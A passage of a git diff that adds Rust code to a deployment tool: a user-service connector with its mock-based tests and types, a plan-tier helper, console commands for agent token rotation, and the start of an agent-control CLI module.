.map_err(|e| { + ConnectorError::Internal(format!("Failed to create HTTP client: {}", e)) + })?; + + let response = client + .get(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .send() + .await + .map_err(|e| { + tracing::error!("Failed to send request to stack_view: {:?}", e); + ConnectorError::from(e) + })?; + + let status = response.status(); + tracing::info!( + "stack_view responded with status {} in {:?}", + status, + start.elapsed() + ); + + if !status.is_success() { + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status.as_u16(), + body + ))); + } + + tracing::info!("Reading stack_view JSON body..."); + let json_start = std::time::Instant::now(); + + let wrapper: StackViewResponse = response.json().await.map_err(|e| { + tracing::error!( + "Failed to parse stack_view JSON after {:?}: {:?}", + json_start.elapsed(), + e + ); + ConnectorError::InvalidResponse(e.to_string()) + })?; + + tracing::info!( + "Parsed stack_view with {} items in {:?}", + wrapper._items.len(), + json_start.elapsed() + ); + + let mut apps: Vec = wrapper + ._items + .into_iter() + .map(application_from_stack_view) + .collect(); + + if let Some(q) = query { + let q = q.to_lowercase(); + apps.retain(|app| { + let name = app.name.as_deref().unwrap_or("").to_lowercase(); + let code = app.code.as_deref().unwrap_or("").to_lowercase(); + name.contains(&q) || code.contains(&q) + }); + } + + Ok(apps) + } +} + +pub(crate) fn application_from_stack_view(item: StackViewItem) -> Application { + let value = item.value; + let id = value.get("_id").and_then(|v| v.as_i64()); + let name = value + .get("name") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + let code = value + .get("code") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + .or_else(|| Some(item.code)); + let description = value + .get("description") + .or_else(|| value.get("_description")) + .or_else(|| value.get("full_description")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + let category = value + .get("module") + .or_else(|| value.get("category")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + let docker_image = value + .get("image") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + .or_else(|| { + value + .get("images") + .and_then(|v| v.as_array()) + .and_then(|arr| arr.first()) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + }); + let default_port = value + .get("ports") + .and_then(|v| v.as_array()) + .and_then(|arr| arr.first()) + .and_then(|port| { + port.get("container") + .or_else(|| port.get("host")) + .and_then(|v| v.as_i64()) + }) + .map(|v| v as i32); + + Application { + id, + name, + code, + description, + category, + docker_image, + default_port, + role: None, + default_env: None, + default_ports: None, + default_config_files: None, + } +} diff --git a/stacker/stacker/src/connectors/user_service/tests.rs b/stacker/stacker/src/connectors/user_service/tests.rs new file mode 100644 index 0000000..c5d1d71 --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/tests.rs @@ -0,0 +1,463 @@ +use mockito::{Matcher, Server}; +use serde_json::json; +use uuid::Uuid; + +use super::mock; +use super::utils::is_plan_higher_tier; +use super::{CategoryInfo, ProductInfo, UserProfile, UserServiceClient, UserServiceConnector}; + +/// Test that get_user_profile returns user with products list +#[tokio::test] +async fn test_mock_get_user_profile_returns_user_with_products() { + let connector = mock::MockUserServiceConnector; + let profile = connector.get_user_profile("test_token").await.unwrap(); + + // Assertions on user profile structure + assert_eq!(profile.email, "test@example.com"); + assert!(profile.plan.is_some()); + + // Verify products list is populated + assert!(!profile.products.is_empty()); + + // Check for plan product + let plan_product = profile.products.iter().find(|p| p.product_type == "plan"); + assert!(plan_product.is_some()); + assert_eq!(plan_product.unwrap().code, "professional"); + + // Check for template product + let template_product = profile + .products + .iter() + .find(|p| p.product_type == "template"); + assert!(template_product.is_some()); + assert_eq!(template_product.unwrap().name, "AI Agent Stack Pro"); + assert_eq!(template_product.unwrap().external_id, Some(100)); +} + +/// Test that get_template_product returns product info for owned templates +#[tokio::test] +async fn test_mock_get_template_product_returns_product_info() { + let connector = mock::MockUserServiceConnector; + + // Test with template ID that exists (100) + let product = connector.get_template_product(100).await.unwrap(); + assert!(product.is_some()); + + let prod = product.unwrap(); + assert_eq!(prod.id, "uuid-product-ai"); + assert_eq!(prod.name, "AI Agent Stack Pro"); + assert_eq!(prod.code, "ai-agent-stack-pro"); + assert_eq!(prod.product_type, "template"); + assert_eq!(prod.external_id, Some(100)); + assert_eq!(prod.price, Some(99.99)); + assert_eq!(prod.currency, Some("USD".to_string())); + assert!(prod.is_active); +} + +/// Test that get_template_product returns None for non-existent templates +#[tokio::test] +async fn test_mock_get_template_product_not_found() { + let connector = mock::MockUserServiceConnector; + + // Test with non-existent template ID + let product = connector.get_template_product(999).await.unwrap(); + assert!(product.is_none()); +} + +/// Test that user_owns_template correctly identifies owned templates +#[tokio::test] +async fn test_mock_user_owns_template_owned() { + let connector = mock::MockUserServiceConnector; + + // Test with owned template ID + let owns = connector + .user_owns_template("test_token", "100") + .await + .unwrap(); + assert!(owns); + + // Test with code containing "ai-agent" + let owns_code = connector + .user_owns_template("test_token", "ai-agent-stack-pro") + .await + .unwrap(); + assert!(owns_code); +} + +/// Test that user_owns_template returns false for non-owned templates +#[tokio::test] +async fn test_mock_user_owns_template_not_owned() { + let connector = mock::MockUserServiceConnector; + + // Test with non-owned template ID + let owns = connector + .user_owns_template("test_token", "999") + .await + .unwrap(); + assert!(!owns); + + // Test with random code that doesn't match + let owns_code = connector + .user_owns_template("test_token", "random-template") + .await + .unwrap(); + assert!(!owns_code); +} + +/// Test that user_has_plan always returns true in mock (for testing) +#[tokio::test] +async fn test_mock_user_has_plan() { + let connector = mock::MockUserServiceConnector; + + let has_professional = connector + .user_has_plan("user_123", "professional", None) + .await + .unwrap(); + assert!(has_professional); + + let has_enterprise = connector + .user_has_plan("user_123", "enterprise", None) + .await + .unwrap(); + assert!(has_enterprise); + + let has_basic = connector + .user_has_plan("user_123", "basic", None) + .await + .unwrap(); + assert!(has_basic); +} + +/// Test that get_user_plan returns correct plan info +#[tokio::test] +async fn test_mock_get_user_plan() { + let connector = mock::MockUserServiceConnector; + + let plan = connector.get_user_plan("user_123").await.unwrap(); + assert_eq!(plan.user_id, "user_123"); + assert_eq!(plan.plan_name, "professional"); + assert!(plan.plan_description.is_some()); + assert_eq!(plan.plan_description.unwrap(), "Professional Plan"); + assert!(plan.active); +} + +/// Test that list_available_plans returns multiple plan definitions +#[tokio::test] +async fn test_mock_list_available_plans() { + let connector = mock::MockUserServiceConnector; + + let plans = connector.list_available_plans().await.unwrap(); + assert!(!plans.is_empty()); + assert_eq!(plans.len(), 3); + + // Verify specific plans exist + let plan_names: Vec = plans.iter().map(|p| p.name.clone()).collect(); + assert!(plan_names.contains(&"basic".to_string())); + assert!(plan_names.contains(&"professional".to_string())); + assert!(plan_names.contains(&"enterprise".to_string())); +} + +/// Test that get_categories returns category list +#[tokio::test] +async fn test_mock_get_categories() { + let connector = mock::MockUserServiceConnector; + + let categories = connector.get_categories().await.unwrap(); + assert!(!categories.is_empty()); + assert_eq!(categories.len(), 3); + + // Verify specific categories exist + let category_names: Vec = categories.iter().map(|c| c.name.clone()).collect(); + assert!(category_names.contains(&"cms".to_string())); + assert!(category_names.contains(&"ecommerce".to_string())); + assert!(category_names.contains(&"ai".to_string())); + + // Verify category has expected fields + let ai_category = categories.iter().find(|c| c.name == "ai").unwrap(); + assert_eq!(ai_category.title, "AI Agents"); + assert_eq!(ai_category.priority, Some(5)); +} + +/// Test that create_stack_from_template returns stack with marketplace info +#[tokio::test] +async fn test_mock_create_stack_from_template() { + let connector = mock::MockUserServiceConnector; + let template_id = Uuid::new_v4(); + + let stack = connector + .create_stack_from_template( + &template_id, + "user_123", + "1.0.0", + "My Stack", + json!({"services": []}), + ) + .await + .unwrap(); + + assert_eq!(stack.user_id, "user_123"); + assert_eq!(stack.name, "My Stack"); + assert_eq!(stack.marketplace_template_id, Some(template_id)); + assert!(stack.is_from_marketplace); + assert_eq!(stack.template_version, Some("1.0.0".to_string())); +} + +/// Test that get_stack returns stack details +#[tokio::test] +async fn test_mock_get_stack() { + let connector = mock::MockUserServiceConnector; + + let stack = connector.get_stack(1, "user_123").await.unwrap(); + assert_eq!(stack.id, 1); + assert_eq!(stack.user_id, "user_123"); + assert_eq!(stack.name, "Test Stack"); +} + +/// Test that list_stacks returns user's stacks +#[tokio::test] +async fn test_mock_list_stacks() { + let connector = mock::MockUserServiceConnector; + + let stacks = connector.list_stacks("user_123").await.unwrap(); + assert!(!stacks.is_empty()); + assert_eq!(stacks[0].user_id, "user_123"); +} + +#[tokio::test] +async fn test_get_installation_by_hash_uses_lightweight_route() { + let mut server = Server::new_async().await; + let _mock = server + .mock("GET", "/install/by-deployment-hash/dep-hash-123") + .match_header("authorization", "Bearer test_token") + .match_header("accept", Matcher::Any) + .with_status(200) + .with_header("content-type", "application/json") + .with_body( + json!({ + "_id": 13876, + "stack_code": "caddy", + "status": "completed", + "cloud": "htz", + "deployment_hash": "dep-hash-123", + "domain": "example.com", + "server_ip": "192.0.2.10", + "_created": "2026-04-25T08:53:54+00:00", + "_updated": "2026-04-25T08:54:04+00:00" + }) + .to_string(), + ) + .create_async() + .await; + + let client = UserServiceClient::new_public(&server.url()); + let installation = client + .get_installation_by_hash("test_token", "dep-hash-123") + .await + .unwrap(); + + assert_eq!(installation.id, Some(13876)); + assert_eq!(installation.stack_code.as_deref(), Some("caddy")); + assert_eq!( + installation.deployment_hash.as_deref(), + Some("dep-hash-123") + ); +} + +#[tokio::test] +async fn test_get_installation_falls_back_to_legacy_install_route() { + let mut server = Server::new_async().await; + let _api_mock = server + .mock("GET", "/api/1.0/installations/66") + .match_header("authorization", "Bearer test_token") + .with_status(404) + .with_header("content-type", "application/json") + .with_body(json!({ "_status": "ERR" }).to_string()) + .create_async() + .await; + let _legacy_mock = server + .mock("GET", "/install/66") + .match_header("authorization", "Bearer test_token") + .with_status(200) + .with_header("content-type", "application/json") + .with_body( + json!({ + "_status": "OK", + "installation": { + "id": 66, + "status": "completed", + "deployment_hash": "dep-hash-66", + "request_dump": { + "stack_code": "coolify", + "provider": "htz", + "commonDomain": "example.com", + "server_ip": "192.0.2.66" + } + }, + "agent_config": { + "token": "agent-token" + } + }) + .to_string(), + ) + .create_async() + .await; + + let client = UserServiceClient::new_public(&server.url()); + let installation = client.get_installation("test_token", 66).await.unwrap(); + + assert_eq!(installation.id, Some(66)); + assert_eq!(installation.stack_code.as_deref(), Some("coolify")); + assert_eq!(installation.cloud.as_deref(), Some("htz")); + assert_eq!(installation.domain.as_deref(), Some("example.com")); + assert_eq!(installation.server_ip.as_deref(), Some("192.0.2.66")); + assert!(installation.agent_config.is_some()); +} + +#[tokio::test] +async fn test_get_subscription_plan_accepts_wrapped_user_profile() { + let mut server = Server::new_async().await; + let _mock = server + .mock("GET", "/oauth_server/api/me") + .match_header("authorization", "Bearer test_token") + .with_status(200) + .with_header("content-type", "application/json") + .with_body( + json!({ + "item": { + "_id": "user-1", + "plan": { + "name": "Free", + "code": "plan-free-periodically", + "includes": [ + { "code": "deploys-20", "name": "20 deploys per month" } + ], + "active": true, + "price": "0.00" + } + } + }) + .to_string(), + ) + .create_async() + .await; + + let client = UserServiceClient::new_public(&server.url()); + let plan = client.get_subscription_plan("test_token").await.unwrap(); + + assert_eq!(plan.name.as_deref(), Some("Free")); + assert_eq!(plan.code.as_deref(), Some("plan-free-periodically")); + assert!(plan.includes.unwrap().is_array()); +} + +/// Test plan hierarchy comparison +#[test] +fn test_is_plan_higher_tier_hierarchy() { + // Enterprise user can access professional tier + assert!(is_plan_higher_tier("enterprise", "professional")); + + // Enterprise user can access basic tier + assert!(is_plan_higher_tier("enterprise", "basic")); + + // Professional user can access basic tier + assert!(is_plan_higher_tier("professional", "basic")); + + // Basic user cannot access professional + assert!(!is_plan_higher_tier("basic", "professional")); + + // Basic user cannot access enterprise + assert!(!is_plan_higher_tier("basic", "enterprise")); + + // Same plan satisfies the requirement + assert!(is_plan_higher_tier("professional", "professional")); + + // Free plan user can access free tier + assert!(is_plan_higher_tier("free", "free")); + + // Free plan user cannot access basic or higher + assert!(!is_plan_higher_tier("free", "basic")); + + // Any paid plan satisfies free requirement + assert!(is_plan_higher_tier("basic", "free")); + assert!(is_plan_higher_tier("professional", "free")); + assert!(is_plan_higher_tier("enterprise", "free")); + + // Case-insensitive comparison + assert!(is_plan_higher_tier("Professional", "professional")); + assert!(is_plan_higher_tier("ENTERPRISE", "basic")); +} + +/// Test UserProfile deserialization with all fields +#[test] +fn test_user_profile_deserialization() { + let json = json!({ + "email": "alice@example.com", + "plan": { + "name": "professional", + "date_end": "2026-12-31" + }, + "products": [ + { + "id": "prod-1", + "name": "Professional Plan", + "code": "professional", + "product_type": "plan", + "external_id": null, + "owned_since": "2025-01-01T00:00:00Z" + }, + { + "id": "prod-2", + "name": "AI Stack", + "code": "ai-stack", + "product_type": "template", + "external_id": 42, + "owned_since": "2025-01-15T00:00:00Z" + } + ] + }); + + let profile: UserProfile = serde_json::from_value(json).unwrap(); + assert_eq!(profile.email, "alice@example.com"); + assert_eq!(profile.products.len(), 2); + assert_eq!(profile.products[0].code, "professional"); + assert_eq!(profile.products[1].external_id, Some(42)); +} + +/// Test ProductInfo with optional fields +#[test] +fn test_product_info_deserialization() { + let json = json!({ + "id": "product-123", + "name": "AI Stack Template", + "code": "ai-stack-template", + "product_type": "template", + "external_id": 42, + "price": 99.99, + "billing_cycle": "one_time", + "currency": "USD", + "vendor_id": 123, + "is_active": true + }); + + let product: ProductInfo = serde_json::from_value(json).unwrap(); + assert_eq!(product.id, "product-123"); + assert_eq!(product.price, Some(99.99)); + assert_eq!(product.external_id, Some(42)); + assert_eq!(product.currency, Some("USD".to_string())); +} + +/// Test CategoryInfo deserialization +#[test] +fn test_category_info_deserialization() { + let json = json!({ + "_id": 5, + "name": "ai", + "title": "AI Agents", + "priority": 5 + }); + + let category: CategoryInfo = serde_json::from_value(json).unwrap(); + assert_eq!(category.id, 5); + assert_eq!(category.name, "ai"); + assert_eq!(category.title, "AI Agents"); + assert_eq!(category.priority, Some(5)); +} diff --git a/stacker/stacker/src/connectors/user_service/types.rs b/stacker/stacker/src/connectors/user_service/types.rs new file mode 100644 index 0000000..0280da6 --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/types.rs @@ -0,0 +1,82 @@ +use serde::{Deserialize, Serialize}; +use uuid::Uuid; + +/// Response from User Service when creating a stack from marketplace template +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct StackResponse { + pub id: i32, + pub user_id: String, + pub name: String, + pub marketplace_template_id: Option, + pub is_from_marketplace: bool, + pub template_version: Option, +} + +/// User's current plan information +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct UserPlanInfo { + pub user_id: String, + pub plan_name: String, + pub plan_description: Option, + pub tier: Option, + pub active: bool, + pub started_at: Option, + pub expires_at: Option, +} + +/// Available plan definition +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PlanDefinition { + pub name: String, + pub description: Option, + pub tier: Option, + pub features: Option, +} + +/// Product owned by a user (from /oauth_server/api/me response) +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct UserProduct { + pub id: Option, + pub name: String, + pub code: String, + pub product_type: String, + #[serde(default)] + pub external_id: Option, // Stack template ID from Stacker + #[serde(default)] + pub owned_since: Option, +} + +/// User profile with ownership information +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct UserProfile { + pub email: String, + pub plan: Option, // Plan details from existing endpoint + #[serde(default)] + pub products: Vec, // List of owned products +} + +/// Product information from User Service catalog +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ProductInfo { + pub id: String, + pub name: String, + pub code: String, + pub product_type: String, + pub external_id: Option, + pub price: Option, + pub billing_cycle: Option, + pub currency: Option, + pub vendor_id: Option, + pub is_active: bool, +} + +/// Category information from User Service +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CategoryInfo { + #[serde(rename = "_id")] + pub id: i32, + pub name: String, + pub title: String, + #[serde(default)] + pub priority: Option, +} diff --git a/stacker/stacker/src/connectors/user_service/utils.rs b/stacker/stacker/src/connectors/user_service/utils.rs new file mode 100644 index 0000000..44eea79 --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/utils.rs @@ -0,0 +1,21 @@ +/// Helper function to determine if a plan tier can access a required plan +/// Hierarchy (lowest to highest): free < basic < professional < enterprise +pub(crate) fn is_plan_higher_tier(user_plan: &str, required_plan: &str) -> bool { + let plan_hierarchy = vec!["free", "basic", "professional", "enterprise"]; + + let user_lower = user_plan.to_lowercase(); + let required_lower = required_plan.to_lowercase(); + + let user_level = plan_hierarchy + .iter() + .position(|&p| p == user_lower.as_str()); + let required_level = plan_hierarchy + .iter() + .position(|&p| p == required_lower.as_str()); + + match (user_level, required_level) { + (Some(user_level), Some(required_level)) => user_level >= required_level, + // Fail closed if either plan is unknown + _ => false, + } +} diff --git a/stacker/stacker/src/console/commands/agent/mod.rs b/stacker/stacker/src/console/commands/agent/mod.rs new file mode 100644 index 0000000..174e2dc --- /dev/null +++ b/stacker/stacker/src/console/commands/agent/mod.rs @@ -0,0 +1,3 @@ +pub mod rotate_token; + +pub use rotate_token::RotateTokenCommand; diff --git a/stacker/stacker/src/console/commands/agent/rotate_token.rs b/stacker/stacker/src/console/commands/agent/rotate_token.rs new file mode 100644 index 0000000..92b98b4 --- /dev/null +++ b/stacker/stacker/src/console/commands/agent/rotate_token.rs @@ -0,0 +1,48 @@ +use crate::configuration::get_configuration; +use crate::services::agent_dispatcher; +use actix_web::rt; +use sqlx::PgPool; + +pub struct RotateTokenCommand { + pub deployment_hash: String, + pub new_token: String, +} + +impl RotateTokenCommand { + pub fn new(deployment_hash: String, new_token: String) -> Self { + Self { + deployment_hash, + new_token, + } + } +} + +impl crate::console::commands::CallableTrait for RotateTokenCommand { + fn call(&self) -> Result<(), Box> { + let deployment_hash = self.deployment_hash.clone(); + let new_token = self.new_token.clone(); + + rt::System::new().block_on(async move { + let settings = get_configuration().expect("Failed to read configuration."); + let vault = crate::helpers::VaultClient::new(&settings.vault); + + let db_pool = PgPool::connect(&settings.database.connection_string()) + .await + .expect("Failed to connect to database."); + + agent_dispatcher::rotate_token(&db_pool, &vault, &deployment_hash, &new_token) + .await + .map_err(|e| { + eprintln!("Rotate token failed: {}", e); + e + })?; + + println!( + "Rotated agent token for deployment_hash {} (stored in Vault)", + deployment_hash + ); + + Ok(()) + }) + } +} diff --git a/stacker/stacker/src/console/commands/appclient/mod.rs b/stacker/stacker/src/console/commands/appclient/mod.rs new file mode 100644 index 0000000..b6a00cd --- /dev/null +++ b/stacker/stacker/src/console/commands/appclient/mod.rs @@ -0,0 +1,3 @@ +mod new; + +pub use new::*; diff --git a/stacker/stacker/src/console/commands/appclient/new.rs b/stacker/stacker/src/console/commands/appclient/new.rs new file mode 100644 index 0000000..f454a56 --- /dev/null +++ b/stacker/stacker/src/console/commands/appclient/new.rs @@ -0,0 +1,43 @@ +use crate::configuration::get_configuration; +use actix_web::rt; +use actix_web::web; +use sqlx::PgPool; + +pub struct NewCommand { + user_id: i32, +} + +impl NewCommand { + pub fn new(user_id: i32) -> Self { + Self { user_id } + } +} + +impl crate::console::commands::CallableTrait for NewCommand { + fn call(&self) -> Result<(), Box> { + rt::System::new().block_on(async { + let settings = get_configuration().expect("Failed to read configuration."); + let db_pool = PgPool::connect(&settings.database.connection_string()) + .await + .expect("Failed to connect to database."); + + let settings = web::Data::new(settings); + let db_pool = web::Data::new(db_pool); + + //todo get user from TryDirect + let user = crate::models::user::User { + id: format!("{}", self.user_id), + first_name: "first_name".to_string(), + last_name: "last_name".to_string(), + email: "email".to_string(), + email_confirmed: true, + role: "role".to_string(), + mfa_verified: false, + access_token: None, + }; + crate::routes::client::add_handler_inner(&user.id, settings, db_pool).await?; + + Ok(()) + }) + } +} diff --git a/stacker/stacker/src/console/commands/callable.rs b/stacker/stacker/src/console/commands/callable.rs new file mode 100644 index 0000000..45e7124 --- /dev/null +++ b/stacker/stacker/src/console/commands/callable.rs @@ -0,0 +1,3 @@ +pub trait CallableTrait { + fn call(&self) -> Result<(), Box>; +} diff --git a/stacker/stacker/src/console/commands/cli/agent.rs b/stacker/stacker/src/console/commands/cli/agent.rs new file mode 100644 index 0000000..5b9328a --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/agent.rs @@ -0,0 +1,3559 @@ +//! `stacker agent` — CLI subcommands for Status Panel agent control. +//! +//! Every command follows the pull-only architecture: +//! +//! ```text +//! CLI → Stacker API (enqueue) → DB queue → Agent polls → Agent executes → Agent reports +//! ``` +//! +//! The CLI never connects to the agent directly. All communication is mediated +//! by the Stacker server. + +use crate::cli::config_bundle::{build_config_bundle, ConfigBundleArtifacts}; +use crate::cli::config_parser::StackerConfig; +use crate::cli::debug::cli_debug_enabled; +use crate::cli::error::CliError; +use crate::cli::fmt; +use crate::cli::generator::compose::ComposeDefinition; +use crate::cli::install_runner::resolve_docker_registry_credentials; +use crate::cli::progress; +use crate::cli::runtime::CliRuntime; +use crate::cli::stacker_client::{AgentCommandInfo, AgentEnqueueRequest}; +use crate::console::commands::CallableTrait; +use std::path::{Path, PathBuf}; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Deployment hash resolution +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Default poll timeout for agent commands (seconds). +const DEFAULT_TIMEOUT_SECS: u64 = 60; + +/// Default poll interval (seconds). +const DEFAULT_POLL_INTERVAL_SECS: u64 = 2; + +/// Resolve a deployment hash from explicit flag, active project agent, or deployment lock. +/// +/// Resolution order: +/// 1. Explicit `--deployment` flag value +/// 2. `stacker.yml` project name → API project lookup → active agent hash (most reliable) +/// 3. `.stacker/deployment.lock` → `deployment_id` → API lookup for hash (fallback) +fn resolve_deployment_hash( + explicit: &Option, + ctx: &CliRuntime, +) -> Result { + // 1. Explicit flag + if let Some(hash) = explicit { + if !hash.is_empty() { + return Ok(hash.clone()); + } + } + + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + + // 2. stacker.yml project → active agent (takes priority over lock file) + // The lock file records the deployment_id at deploy time but the agent may + // have been redeployed since, leaving the lock pointing at a stale hash. + let config_path = project_dir.join("stacker.yml"); + if config_path.exists() { + if let Ok(config) = crate::cli::config_parser::StackerConfig::from_file(&config_path) + .and_then(|config| config.with_resolved_deploy_target(None)) + { + if let Some(ref project_name) = config.project.identity { + if let Ok(Some(proj)) = ctx.block_on(ctx.client.find_project_by_name(project_name)) + { + match ctx.block_on(ctx.client.agent_snapshot_by_project(proj.id)) { + Ok((_, hash)) => { + eprintln!( + "\x1b[2mℹ No --deployment specified — using active agent for project '{}': {}\x1b[0m", + project_name, hash + ); + return Ok(hash); + } + Err(_) => { + // No active agent for this project; fall through to lock + } + } + } + } + } + } + + // 3. Deployment lock (fallback when no stacker.yml or no active project agent) + if let Some(lock) = crate::cli::deployment_lock::DeploymentLock::load(&project_dir)? { + if let Some(dep_id) = lock.deployment_id { + let info = ctx.block_on(ctx.client.get_deployment_status(dep_id as i32))?; + if let Some(info) = info { + return Ok(info.deployment_hash); + } + } + } + + Err(CliError::ConfigValidation( + "Cannot determine deployment hash.\n\ + Use --deployment , or run from a directory with a deployment lock or stacker.yml." + .to_string(), + )) +} + +fn resolve_registry_auth_for_agent_deploy( + project_dir: &Path, +) -> Option { + let config_path = project_dir.join("stacker.yml"); + let config = crate::cli::config_parser::StackerConfig::from_file(&config_path) + .and_then(|config| config.with_resolved_deploy_target(None)) + .ok()?; + let creds = resolve_docker_registry_credentials(&config); + let username = creds.get("docker_username")?.as_str()?.trim(); + let password = creds.get("docker_password")?.as_str()?.trim(); + if username.is_empty() || password.is_empty() { + return None; + } + + let registry = creds + .get("docker_registry") + .and_then(|value| value.as_str()) + .map(str::trim) + .filter(|value| !value.is_empty()) + .unwrap_or("docker.io"); + + Some(crate::forms::status_panel::RegistryAuthCommandRequest { + registry: registry.to_string(), + username: username.to_string(), + password: password.to_string(), + }) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Shared agent command execution +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Execute an agent command with spinner and polling. +/// +/// 1. Enqueues the command via the Stacker API +/// 2. Shows a spinner while polling for the result +/// 3. Returns the completed `AgentCommandInfo` +fn format_error_message( + message: &str, + code: Option<&str>, + details: Option<&serde_json::Value>, +) -> String { + let mut formatted = message.to_string(); + if let Some(code) = code.filter(|value| !value.trim().is_empty()) { + formatted = format!("{} ({})", formatted, code); + } + if let Some(details) = details { + let details = match details { + serde_json::Value::String(value) => value.clone(), + other => fmt::pretty_json(other), + }; + if !details.trim().is_empty() { + formatted = format!("{}: {}", formatted, details); + } + } + formatted +} + +fn json_error_message(value: &serde_json::Value) -> Option { + match value { + serde_json::Value::String(message) if !message.trim().is_empty() => Some(message.clone()), + serde_json::Value::Object(map) => { + if let Some(first) = map + .get("errors") + .and_then(|value| value.as_array()) + .and_then(|errors| errors.first()) + .and_then(|value| value.as_object()) + { + let message = first + .get("message") + .and_then(|value| value.as_str()) + .or_else(|| first.get("error").and_then(|value| value.as_str())) + .or_else(|| first.get("detail").and_then(|value| value.as_str()))?; + let code = first.get("code").and_then(|value| value.as_str()); + let details = first.get("details"); + return Some(format_error_message(message, code, details)); + } + + let message = map + .get("message") + .and_then(|value| value.as_str()) + .or_else(|| map.get("error").and_then(|value| value.as_str())) + .or_else(|| map.get("detail").and_then(|value| value.as_str()))?; + let code = map.get("code").and_then(|value| value.as_str()); + let details = map.get("details"); + Some(format_error_message(message, code, details)) + } + _ => None, + } +} + +fn sanitize_npm_credentials_message(raw_message: String, code: Option<&str>) -> String { + // Fall back to substring match when the error arrives as a pre-formatted string + // with no structured "code" field (the server embeds the code inline). + if code == Some("npm_credentials_invalid") + || raw_message.contains("npm_credentials_invalid") + { + let user_msg = "NPM credentials are invalid or missing. \ + Update them with:\n \ + stacker secrets set npm_credentials --scope server \ + --body-file ./npm_credentials.json" + .to_string(); + if cli_debug_enabled() { + format!("{}\n [debug] {}", user_msg, raw_message) + } else { + user_msg + } + } else { + raw_message + } +} + +fn agent_command_error_message(info: &AgentCommandInfo) -> Option { + if let Some(error) = info.error.as_ref() { + let raw = json_error_message(error).unwrap_or_else(|| fmt::pretty_json(error)); + let code = error + .get("code") + .and_then(|v| v.as_str()) + .or_else(|| error.get("error_code").and_then(|v| v.as_str())); + return Some(sanitize_npm_credentials_message(raw, code)); + } + + let result = info.result.as_ref()?; + let reported_status = result.get("status").and_then(|value| value.as_str()); + let result_is_error = matches!(reported_status, Some("error" | "failed")) + || result.get("success").and_then(|value| value.as_bool()) == Some(false) + || result.get("ok").and_then(|value| value.as_bool()) == Some(false); + + if !result_is_error { + return None; + } + + let raw_message = json_error_message(result) + .unwrap_or_else(|| "Agent command reported an application error".to_string()); + + // "code" is already embedded into raw_message by format_error_message. + // "error_code" is a separate field not yet appended — handled below. + let inline_code = result.get("code").and_then(|v| v.as_str()); + let extra_code = result.get("error_code").and_then(|v| v.as_str()); + + let mut message = sanitize_npm_credentials_message(raw_message, inline_code.or(extra_code)); + + // Append extra_code (the "error_code" field) if present — it is NOT yet in the message. + if let Some(code) = extra_code { + // Skip appending if sanitize_npm_credentials_message already replaced the whole message. + if inline_code != Some("npm_credentials_invalid") { + message = format!("{} ({})", message, code); + if code == "npm_create_failed" { + message = format!( + "{}\n\n{}", + message, + npm_create_failed_guidance(Some(result)) + ); + } + } + } + Some(message) +} + +fn npm_create_failed_guidance(result: Option<&serde_json::Value>) -> String { + let domain = result + .and_then(|value| value.get("domain_names")) + .and_then(|value| value.as_array()) + .and_then(|domains| domains.first()) + .and_then(|value| value.as_str()) + .or_else(|| { + result + .and_then(|value| value.get("domain")) + .and_then(|value| value.as_str()) + }) + .unwrap_or(""); + + format!( + "Route diagnostics:\n\ + - Nginx Proxy Manager may have created the host despite returning an error; check for an existing host for {domain} and retry configure-proxy to adopt it.\n\ + - Verify DNS A/AAAA records for {domain} point at this server before requesting Let's Encrypt.\n\ + - Ensure cloud firewall ports are open: stacker cloud firewall add --server-id --public-ports 80/tcp,443/tcp\n\ + - Check for a duplicate NPM proxy host using the same domain.\n\ + - Retry without SSL to isolate certificate issuance: stacker agent configure-proxy --domain {domain} --port --no-ssl --deployment ." + ) +} + +async fn execute_agent_command( + ctx: &CliRuntime, + request: &AgentEnqueueRequest, + timeout: u64, +) -> Result { + let info = ctx.client.agent_enqueue(request).await?; + let command_id = info.command_id.clone(); + let deployment_hash = request.deployment_hash.clone(); + + let deadline = tokio::time::Instant::now() + std::time::Duration::from_secs(timeout); + let interval = std::time::Duration::from_secs(DEFAULT_POLL_INTERVAL_SECS); + let mut last_status = "pending".to_string(); + + loop { + tokio::time::sleep(interval).await; + + if tokio::time::Instant::now() >= deadline { + return Err(CliError::AgentCommandTimeout { + command_id: command_id.clone(), + command_type: request.command_type.clone(), + last_status, + deployment_hash, + }); + } + + let status = ctx + .client + .agent_command_status(&deployment_hash, &command_id) + .await?; + + last_status = status.status.clone(); + + match status.status.as_str() { + "completed" => { + if let Some(error) = agent_command_error_message(&status) { + return Err(CliError::AgentCommandFailed { + command_id: command_id.clone(), + error, + }); + } + return Ok(status); + } + "failed" | "cancelled" => { + let error = agent_command_error_message(&status).unwrap_or_else(|| { + format!("Agent command ended with status '{}'", status.status) + }); + return Err(CliError::AgentCommandFailed { + command_id: command_id.clone(), + error, + }); + } + _ => continue, + } + } +} + +fn run_agent_command( + ctx: &CliRuntime, + request: &AgentEnqueueRequest, + spinner_msg: &str, + timeout: u64, +) -> Result { + let pb = progress::spinner(spinner_msg); + + let result = ctx.block_on(async { + let info = 